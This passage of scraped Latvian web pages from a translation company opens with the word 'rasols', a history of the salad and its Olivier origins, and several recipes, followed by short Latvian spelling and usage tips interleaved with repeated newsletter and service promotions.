rasolu vai rosolu? Auksto ēdienu – salātus, kas gatavoti no vārītas vai ceptas gaļas, vārītiem dārzeņiem (piemēram, kartupeļiem, bietēm), olām un skābētiem vai marinētiem gurķiem, pievienojot krējumu vai krējumu ar majonēzi un garšvielas, – sauc par rasolu. Šis ir vienīgais minētais variants latviešu valodas pareizrakstības vārdnīcās. Rasolu līdzīgo recepšu dēļ mēdz dēvēt arī par Olivjē salātiem, galvaspilsētas vai vienkārši gaļas salātiem. Tātad nozīmīgos svētkos mājās gatavosim rasolu. Citi latviešu valodas padomi RASOLS – SALĀTU KARALIS Rasola vēsture ir sena un sarežģīta. Kā jau jebkuriem vēstures faktiem, kas vēsta par tālu pagātni, precīzas robežas nav novelkamas, tie nereti ir izdomāti, pārstāstīti, leģendām un intrigām apvīti. Skaidrs ir viens – katrās mājās rasolam ir sava recepte, savs stāsts un tradīcijas, kas pāriet no paaudzes paaudzē. Rasols ir svētki, ikdiena, atmiņas, bet nenoliedzami – rasols kā ļoti demokrātisks ēdiens ir un bija katras ģimenes svētku galdā. Šodien rasolam līdzīgus salātus pazīst visā pasaulē, īpaši populāri tie ir bijušajās Padomju Savienības valstīs, pielāgojot receptes sastāvdaļas raksturīgi katras valsts nacionālajai virtuvei. RASOLA VĒSTURE RASOLS PASAULĒ Rasola vēsturi mēdz cieši saistīt ar Padomju Savienību. 1860. gadā beļģu šefpavārs Lisjēns Olivjē (Lucien Olivier) Maskavas populārākajā restorānā “Hermitage” pasniedz jaunu firmas ēdienu – Olivjē salātus. To recepte tiek rūpīgi slēpta. Salātu pagatavošanā tika izmantotas sastāvdaļas, kuras tajā laikā bija zināmas tikai bagātu cilvēku aprindās – irbītes, teļa mēle, kūpināta pīle, kaviārs, vēžu astītes, kaperi, šīs visas sastāvdaļas variējot sezonāli. Vislielākais noslēpums bija mērce, kuru izmantoja salātos, joprojām mūsdienu recepte ir tikai minējums par oriģinālu. 20. gadsimta sākumā kāds no Olivjē pavāriem Ivans Ivanovs nozog Olivjē salātu recepti un paņem to līdzi uz citu restorānu Maskavā, nosaucot to par Galvaspilsētas salātiem. Saprotams, ka salātu mērces recepte netiek atrasta un Ivanova pasniegtie salāti sākotnēji nekļūst populāri. Lai popularizētu Galvaspilsētas salātus, Ivanovs savu recepti pārdod vairākām izdevniecībām. Viena no pirmajām receptes publikācijām atrodama datēta ar 1894. gadu. Protams, ņemot vērā salātu popularitātes augšanu, ienākšanu katrā mājā, mainījās to sastāvdaļas, aizstājot dārgās izejvielas ar lētākām – irbītes nomainīja vista vai desa, vēžu astītes aizvietoja cieti vārīta ola, olīvas un kaperi tika nomainīti uz marinētiem gurķiem un zaļajiem zirnīšiem. No smalka restorāna ēdiena tie kļuva par ikdienas salātiem ikvienā mājā, kafejnīcās un ēdnīcās. Daudzviet pasaulē ir populāras Olivjē, Galvaspilsētas salātu variācijas – Serbijā, Bulgārijā tos dēvē par ruska salata, Horvātijā, Slovēnijā – francuska salata, Turcijā – Rus salatasi, Spānijā – ensaladilla rusa. Tā noteikti varētu turpināt un turpināt, jo mūsdienās Olivjē salātus pazīst gandrīz visā pasaulē. RASOLS LATVIJĀ Pirmo reizi latviešu sarakstītajās grāmatās rasola recepte parādās jau 19. gadsimtā. Tās ir pavārgrāmatas, kas tulkotas no vācu valodas. Sākotnēji receptēs tika iekļautas smalkākas sastāvdaļas, izmantojot importētus produktus – kaperus, olīvas, anšovus, kā arī vietējo kolorītu – nēģus. 20. gadsimta 30. gados rasola receptes kļuva aizvien daudzveidīgākas, padarot salātus populārus ne tikai smalkajās aprindās, bet arī jebkurā ģimenē. Rodas priekšstats, ka rasolu veido vai nu labākais un smalkākais, vai arī tas, kas palicis pāri no svētku galda. Ar laiku rasols iegūst arī visai šaubīgu reputāciju, to vairs neuzskata kā vienu no svētku ēdieniem, bet gan kā uzkodu, lietojot alkoholiskos dzērienus. Padomju okupācijas laikā latviešu rasols stipri pietuvinās krievu Olivjē salātiem. Galvenās sastāvdaļas tiek aizstātas ar vārītu desu, vārītiem burkāniem, marinētiem gurķiem, olām un zaļajiem zirnīšiem. Vislielāko popularitāti rasols sasniedza 20. gadsimta 60. – 80. gados, kļūstot par populāru ēdienu gan starp strādniekiem un māksliniekiem, iekarojot savu vietu sabiedriskās ēdināšanas vietās un ienākot ikvienā mājā. Pavisam droši rasolu var dēvēt par latviešu nacionālo ēdienu, jo pirmās piezīmes par tā klātbūtni latviešu virtuvē parādās jau senāk par slavenajiem Olivjē salātiem. Tas tiek pieminēts pat trimdas latvisko svinību aprakstos, tas bijis populārs jau Latvijas laikos, tā pirmsākumus var meklēt Kurzemes zemnieku uzturā, kur kā nostāsti liecina, tas esot pat pūdēts. RASOLA RECEPTES VĀNES BARONA RASOLA RECEPTE No 1877. gada Vānes muižas pavāra M. Zāles pavārgrāmatas. Priekš sariktēšanas ņem šādas lietas: novārītu šķiņķi vai novārītu citu sālītu gaļu, visādu cepešu atliekas, arī novārītu vērša gaļu, kā arī zupas gaļu, kad ir novārīta sālīta gaļa un arī friša gaļa – var ņemt abējas, tālāk klāt var ņemt bišķi žāvētu desu, ceptus nēģus un arī vēžus – tās nu ir tās gaļu daļas; tad ņem sakņu daļas: novārītus kartupeļus, gurķus frišus vai skābētus, arī etiķa gurķus, biešu salātus (marinētas bietes), sēnes, arī kādu ābolu un frišus lapu salātus – pēdējos mēdz, kad rasols gatavs, likt tam apkārt bļodā. Pieminu vēl, ka arī rutki klāt nav smādējami. Sariktēšana ir šāda: ņem pāri cieti novārītu pautu, tos it smalki sakapā un bļodā saber, kur rasoli domā sariktēt, tiem pieliek nu klāt vajadzīgo sāli, bišķi smalku piparu, it bišķi cukura, kādu tējkaroti sinepju, pieliek labu skābu krējumu, ja ir – kādas karotes vērts kaperu, tad kādu pusi jeb veselu no asakām skaidri atpucētu un smalki sakapātu siļķi un it pāri smalki sakapātu sīpolu; sajauc nu visu labi kopā un nosmēķē skābuma dēļ ar etiķi; tad sagriež augšā minētas rasola lietas, tas ir, kādas pie rokas, kapeikas lielumā plānās šķēlītēs, zināms no katras zortes tikai tik daudz, cik kopā ir vajadzīgs; saliek sagrieztās rasola lietas sariktētā zostē, izjauc cauri, saliek ar ieklaudzi uz bļodu, paliek, ja ir, zaļus salātus apkārt un ceļ priekšā. CARNIKAVAS NĒĢU ZVEJNIEKU RASOLA RECEPTE Pierakstīta no kāda zvejnieka stāstītā. Sastāvdaļas: 210 g nomērcētas siļķes, 200 g vārītas gaļas, 1 vārīts kartupelis, 150 g konservēto zaļo zirnīšu, 1 ābols, 3 cieti vārītas olas, 3 cepti nēģi, 200 g skāba krējuma, 20 g sinepju, 200 g marinētu gurķu, sāls, zaļumi. Pagatavošana: Nomērcētu siļķi, vārītu gaļu, vārītus kartupeļus, nomizotus gurķus un ābolus, un nēģus sagriež sīkos kubikos, pieliek zaļos zirnīšus un sajauc ar skābu krējumu, kas sajaukts ar sāli un sinepēm. Tad liek salātu traukā, rotā ar olu ceturtdaļām un zaļumiem. SKRIVANEK IECIENĪTAIS RASOLS Sastāvdaļas milzu bļodai (aptuveni 20 ēdāju): 2 kg vārītu kartupeļu, 1 kg vārītu burkānu, 13 vārītas olas, 1 kg Doktordesas, 3 smalki sakapāti sīpoli, 2 bundžas zaļo zirnīšu, krējums, majonēze, sinepes, sāls, pipari pēc garšas un garastāvokļa. Pagatavošana: visas griežamās sastāvdaļas sagriež smalkos kubiņos, pievieno zirnīšus, krējumu, majonēzi, sinepes, sāli un piparus, samaisa kopā (svarīgi ir maisīt ar rokām), un rasols gatavs!  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā teiksim – „fotogrāfiju albums” vai „fotogrāfiju albūms”? Ieskaties un uzzini atbildi! Citi latviešu valodas padomi vienuviet! - Published: 2017-10-30 - Modified: 2024-07-10 - URL: https://skrivanek.lv/albums-pret-albums/ - Kategorijas: latviešu valodas padomi - Birkas: albums - Translation Priorities: Optional ALBUMS PRET ALBŪMS 1 Kā teiksim – „fotogrāfiju albums” vai „fotogrāfiju albūms”? Latviešu valodā ir daudz svešvārdu, kurus izrunā ar garu patskani, bet raksta ar īsu, piemēram, „automobilis”, „mediji”, „balzams” u. tml. Arī vārdu „albums” izrunājam ar garu patskani, bet rakstām ar īsu. Tātad teiksim „fotogrāfiju albums”, „ģimenes albums”, „pastmarku albums”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai mūsu sejas āda ir jutīga vai jūtīga? Ieskaties un uzzini šo vārdu lietojuma atšķirību! Citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-10-30 - Modified: 2025-03-12 - URL: https://skrivanek.lv/jutigs-pret-jutigs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional JUTĪGS PRET JŪTĪGS 1 Vai mūsu sejas āda ir jutīga vai jūtīga? Jutīgs ir tas, kas saistīts ar mūsu maņām – dzirdi, redzi, tausti, ožu, garšu –, kā arī tāds, kam piemīt spēja viegli, ātri uztvert kairinātājus un reaģēt uz tiem. Mūsu deguns var būt jutīgs pret cigarešu dūmiem, un mums var būt jutīgi zobi. Savukārt tas, kas saistīts ar jūtām, kas ātri uztver dažādus iespaidus un emocionāli reaģē uz tiem, arī tas, kas viegli var izraisīt emocionālus pārdzīvojumus, ir jūtīgs. Bērns var būt jūtīgs, dzejniekam ir jūtīga dvēsele, mums var būt sarežģīti pārrunāt jūtīgus jautājumus. Tātad mūsu sejas āda ir jutīga, taču salauzta sirds – jūtīga. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai īpašības vārdi efektīgs un efektīvs ir sinonīmi? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-10-30 - Modified: 2024-08-15 - URL: https://skrivanek.lv/efektigs-pret-efektivs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional EFEKTĪGS PRET EFEKTĪVS 1 Vai īpašības vārdi efektīgs un efektīvs ir sinonīmi? Reizēm tikai viens atšķirīgs burts maina vārda nozīmi: efektīgs ir tāds, kas rada efektu un saista uzmanību, ir iespaidīgs vai jebkādā nozīmē ievērojams. Savukārt efektīvs ir tāds, kas dod vajadzīgo rezultātu, iedarbīgs. Tātad svētkos skatāmies efektīgu salūtu, sapulcēs izmantojam efektīvus pārliecināšanas līdzekļus. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Informāciju internetā meklēsim uzņēmuma mājaslapā vai mājas lapā? Ieskaties un uzzini! Citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-10-30 - Modified: 2024-10-23 - URL: https://skrivanek.lv/majas-lapa-pret-majaslapa/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MĀJAS LAPA VAI MĀJASLAPA 1 Vai informāciju internetā meklēsim uzņēmuma mājaslapā vai mājas lapā? Internetā ievadīta un pēc noteiktas adreses atrodama elektroniska informācija (par uzņēmumu, organizāciju, cilvēku u. tml. ) ir mājaslapa. Par termina lietojumu saliktenī lēmusi LZA Terminoloģijas komisija jau 2005. gadā. Tātad kādas iestādes kontaktus meklēsim tās mājaslapā, tāpat arī informāciju par muzeju u. tml. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties MĀJASLAPAS TULKOŠANA UN LOKALIZĀCIJA Mājaslapu tulkošana nekad vēl nav bijusi tik ērta! Mūsu speciālisti nodrošinās optimālus tulkošanas un lokalizācijas risinājumus, lai padarītu mājaslapu atbilstošu konkrēta reģiona vai tirgus vajadzībām un lokālajām īpatnībām. Mājaslapas tulkošana INTERNETA VEIKALA TULKOŠANA UN LOKALIZĀCIJA Interneta veikalu tulkošana un lokalizēšana ir process, kas aptver lingvistiskos, tehniskos un kultūras aspektus. Valodu speciālistiem, kuri sniedz šādus pakalpojumus, ir ne tikai klasiski jāpārtulko tīmekļa vietnes vai platformas saturs, bet arī jāpievērš uzmanība tam, vai tulkojums atbilst mērķa auditorijas interesēm un informācijas meklēšanas paradumiem internetā, kā arī attiecīgajā valstī spēkā esošajiem normatīvajiem aktiem. E-veikala tulkošana GOOGLE ADS UN SEO TULKOJUMI Mājaslapas konkurētspēju būtiski uzlabo tās pieejamība dažādās valodās. Mūsu speciālisti palīdzēs lokalizēt jūsu mājaslapu, ievērojot visus aktuālos SEO principus, lai tā rādītos pēc iespējas augstāk dabiskās meklēšanas rezultātā, kā arī pielāgos atslēgvārdus Google Ads (AdWords) reklamēšanai, lai jūs bez grūtībām spētu atrast ikviens potenciālais klients. GoogleAds un SEO tulkojumi MĀJASLAPAS LOKALIZĒŠANA 9 VIENKĀRŠOS SOĻOS Diemžēl pastāv daudzi maldīgi priekšstati par tulkotāju lokalizācijas prasmēm un to, kā tas var ietekmēt darbu ar svarīgiem resursiem, piemēram, jūsu mājaslapu. Šeit aprakstītais process galvenokārt attiecas uz maziem un vidējiem uzņēmumiem (MVU), jo, lai gan arī lieliem uzņēmumiem nepieciešama lokalizācija, to gadījumā bieži vien tas ir vairāk pielāgots process. Mājaslapas lokalizēšana --- > Vai Tu pareizi lieto vārdus „neparko” un „ne par ko”? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-10-30 - Modified: 2024-07-10 - URL: https://skrivanek.lv/neparko-pret-ne-par-ko/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional NEPARKO VAI NE PAR KO 1 Vai Tu pareizi lieto „neparko” un „ne par ko”? Pastāv abas formas, taču vārdu „neparko” lieto ar nozīmi „nekādā ziņā”, piemēram, „viņš neparko negribēja atzīties! ”„Ne par ko” lieto tradicionālajā nozīmē, piemēram, „viņa ne par ko negribēja domāt”. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kuru vārdu labāk izvēlēties – „šā” vai „šī”? Ieskaties un uzzini atbildi! Arī citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-10-30 - Modified: 2025-03-12 - URL: https://skrivanek.lv/si-gada-pret-sa-gada/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional ŠĪ GADA PRET ŠĀ GADA 1 Kuru vārdu labāk izvēlēties – „šā” vai „šī”? Vārds „šis” ir vīriešu dzimtes norādāmais vietniekvārds, kuram ģenitīvā ir iespējamas paralēlformas „šā” un „šī”. Abas formas ir literāras, un neviena no tām nav nepareiza. Tātad varam teikt „šā gada” un „šī gada”, „šā panta” un „šī panta”, „šā aktiera” un „šī aktiera”. Rakstveida materiālos ir svarīgi ievērot konsekvenci un izmantot tikai vienu paralēlformu variantu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Tūkstots gadu? Tūkstoš gadu? Vai varbūt tūkstotis gadu? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-10-30 - Modified: 2025-03-12 - URL: https://skrivanek.lv/tukstots-pret-tukstos-pret-tukstotis/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional TŪKSTOTS PRET TŪKSTOŠ PRET TŪKSTOTIS 1 Tūkstots gadu? Tūkstoš gadu? Vai varbūt tūkstotis gadu? „Tūkstotis” ir lokāms skaitļa vārds, kas apzīmē kopu, kura sastāv no 1000 vienībām: tūkstotis dolāru, tūkstotis leļļu. Gadskaitļos lietojama skaitļa vārda nelokāmā forma „tūkstoš”, piemēram, „tūkstoš deviņi simti astoņdesmit devītais gads”. Vārda „tūkstots” latviešu valodā nemaz nav – šī forma, visticamāk, radusies „saīsinot” vārda „tūkstotis” galotni, kā arī ar to aizstājot grūtāk izrunājamo formu „tūkstoš”. Tātad plauktā var būt tūkstoš grāmatu un tūkstotis grāmatu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Vai tramvaju mēs gaidam vai gaidām? Ieskaties un uzzini pareizo atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-10-30 - Modified: 2025-01-03 - URL: https://skrivanek.lv/mes-gaidam-pret-mes-gaidam/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional MĒS GAIDAM PRET MĒS GAIDĀM 1 Vai tramvaju mēs gaidam vai gaidām? Darbības vārdam „gaidīt” nenoteiksmē ir izskaņa „-īt”. Šādiem darbības vārdiem tagadnes daudzskaitļa 1. un 2. personā galotnē ir garais patskanis „ā” – „mēs gaidām”, „jūs gaidāt”. Darbības vārdiem, kuriem nenoteiksmē nav piedēkļa, piemēram, „braukt”, tagadnes daudzskaitļa 1. un 2. personā galotnē ir īsais patskanis „a” – “mēs braucam”, “jūs braucat”. Tāpat arī darbības vārdiem, kuriem nenoteiksmes piedēklī ir cits patskanis, piemēram, „ā”: „raudāt” – „mēs raudam”, „jūs raudat”. Neievērojot šo gramatikas likumu, nereti kļūdaini sakām vai rakstām „mēs gaidam” vai „jūs gaidat”. Tātad mēs gaidām tramvaju, mēs gaidām vasaru, mēs gaidām kādu atgriežamies utt. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kad lietot vārdu „pastāvīgs”, bet kad – „patstāvīgs”? Ieskaties un uzzini atbildi! Citi noderīgi latviešu valodas padomi vienuviet! - Published: 2017-10-30 - Modified: 2024-07-10 - URL: https://skrivanek.lv/pastavigs-pret-patstavigs/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PASTĀVĪGS PRET PATSTĀVĪGS 1 Kad lietot vārdu „pastāvīgs”, bet kad – „patstāvīgs”? „Pastāvīgs” ir kaut kas noturīgs, ilgstošs, nemainīgs. „Patstāvīgs” ir tāds, kam ir sava nostāja, lēmums, rīcība, izvēle un, kas spēj eksistēt vai darboties bez palīdzības, vadības. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā 